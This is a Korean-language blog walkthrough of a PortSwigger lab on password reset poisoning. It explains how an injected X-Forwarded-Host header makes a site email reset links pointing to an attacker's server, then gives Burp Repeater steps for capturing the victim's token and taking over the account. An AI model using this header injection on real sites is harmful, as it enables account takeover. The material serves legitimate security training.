웹 해킹/portswigger

버프스위트를 이용한 웹 해킹, 인증 취약점: 다른 인증 메커니즘의 취약점:미들웨어를 이용한 비밀번호 재설정 스푸핑

코드라니(CODERANY) 2026. 5. 2. 14:05
정상작동
사용자: 비번 바꿀거예욤
서버: ㅇㅇ 비번 바꿀 링크 이메일로 보내드림. 근데 이게 맞는지 확인해야하니까 토큰 만들어서 나랑 니 이메일이랑 나눠가질거임. 링크 주소는 "https://" + [서버 도메인(현재 접속한 Host 도메인)] + "/forgot-password?token=abc123xyz" 이런식일것임.
사용자: 이메일 링크 클릭
사용자 이메일: 서버야, 이 토큰에 해당하는 페이지 보여줘
서버: ㅇㅇ 비번 변경 페이지 이거임.
사용자: 비번 바꿈.
서버: ㅇㅇ 비번 바꿈

해커참여
해커: 서버야 피해자 비번 바꿀껀데, 이 주소로해서 링크 만들어줘(X-Forwarded-Host헤더 사용, 해커의 도메인을 포함)
서버: ㅇㅇ 비번 바꿀 링크를 피해자 이메일로 보내드림. 토큰도 만듦. 링크 주소는 서버 도메인 대신 해커 도메인을 넣겠음 ㅇㅇ
사용자: 이메일 링크 클릭
사용자 이메일: 서버인 줄 알았지만 해커 서버야, 이 토큰에 해당하는 페이지 보여줘
해커: 희희 니 토큰 이제 내꺼, 서버야 이 토큰에 해당하는 페이지 보여줘
서버: ㅇㅇ 비번 변경 페이지 이거임
해커: 비번 바꿈
서버: ㅇㅇ 비번 바꿈
해커: 응 피해자 아이디로 접속

 

비밀번호 재설정 이메일의 URL이 동적으로 생성되는 경우, 비밀번호 재설정 스푸핑 공격에 취약할 수 있습니다. 이 경우 공격자는 다른 사용자의 토큰을 탈취하여 해당 사용자의 비밀번호를 변경할 수 있습니다.

Burp를 실행한 상태에서 비밀번호 재설정 기능을 살펴보세요. 고유한 재설정 토큰이 포함된 링크가 이메일로 전송되는 것을 확인할 수 있습니다.

 


POST /forgot-password를 Burp Repeater로 요청을 보내세요. X-Forwarded-Host헤더가 지원되므로 이를 사용하여 동적으로 생성된 재설정 링크를 임의의 도메인으로 지정할 수 있습니다.

더보기

X-Forwarded-Host 헤더는 클라이언트가 원래 요청했던 본래의 Host 이름을 서버에 전달하기 위해 사용하는 HTTP 헤더입니다.

보통 웹 서비스는 사용자(클라이언트)와 실제 서버 사이에 프록시(Proxy)나 로드 밸런서(Load Balancer)를 두고 운영하는 경우가 많습니다. 이때 실제 서버는 프록시의 주소만 알 수 있기 때문에, 사용자가 브라우저 주소창에 입력한 진짜 도메인 정보를 알기 위해 이 헤더를 참조합니다.


🛠️ 왜 보안 취약점이 될 수 있나요? (Host Header Injection)

비밀번호 재설정 기능에서 이 헤더를 잘못 사용하면 심각한 문제가 발생합니다. 작동 원리는 다음과 같습니다.

1. 정상적인 프로세스

  1. 사용자가 example.com에서 "비밀번호 찾기"를 누릅니다.
  2. 서버는 이메일을 보낼 때, 현재 접속 중인 도메인을 확인하여 링크를 만듭니다.

2. 공격 시나리오 (X-Forwarded-Host 변조)

공격자가 Burp Repeater로 요청을 보낼 때 헤더를 다음과 같이 조작합니다.

  • Host: example.com (서버 주소)
  • X-Forwarded-Host: attacker-server.com (공격자 서버)

서버가 이 헤더를 신뢰하여 이메일 본문의 링크를 동적으로 생성한다면, 피해자는 다음과 같은 이메일을 받게 됩니다.

"비밀번호를 재설정하려면 여기를 클릭하세요: [https://attacker-server.com/reset?token=secret_token](https://attacker-server.com/reset?token=secret_token)"

피해자가 이 링크를 클릭하는 순간, 비밀번호를 바꿀 수 있는 비밀 토큰(token)이 공격자의 서버 로그에 고스란히 남게 됩니다. 공격자는 이 토큰을 가로채서 피해자의 계정 비밀번호를 무단으로 변경할 수 있습니다.


🔍 Burp Repeater에서 테스트하는 방법

  1. POST /forgot-password 요청을 Repeater로 보냅니다.
  2. 헤더 부분에 X-Forwarded-Host: [본인의 협업 도구 주소 또는 임의의 도메인]을 추가합니다.
  3. 요청을 전송(Send)한 뒤, 서버가 보낸 이메일의 링크 주소가 내가 설정한 도메인으로 바뀌었는지 확인합니다.


익스플로잇 서버에 접속하여 익스플로잇 서버 URL을 기록해 두세요.

Burp Repeater의 요청으로 돌아가서 X-Forwarded-Host익스플로잇 서버 URL을 헤더에 추가하세요. (위치 상관 없음)

X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
을 추가한다.

나는
X-Forwarded-Host: exploit-0ad9006303450c78805c02a80108008f.exploit-server.net/exploit

username매개변수를 carlos로 변경하고 요청을 보내세요. (이 다음 카를로스가 이메일을 열어봤다고 가정함)

공격 서버에 접속하여 액세스 로그를 엽니다. 쿼리 매개변수로 피해자의 토큰이 포함된 요청이 GET /forgot-password에서 보일 것입니다 . 이 토큰을 기록해 두십시오.

GET /forgot-password?를 Burp Repeater로 요청을 보내세요. 매개변수 temp-forgot-password-token의 값을 피해자의 토큰 값으로 변경하세요.

POST /forgot-password?를 Burp Repeater로 요청을 보내고, 토큰키와 비밀번호를 변경하여 카를로스 계정의 새 비밀번호를 설정하세요.


새 비밀번호를 사용하여 카를로스의 계정에 로그인하고 실험을 완료하세요.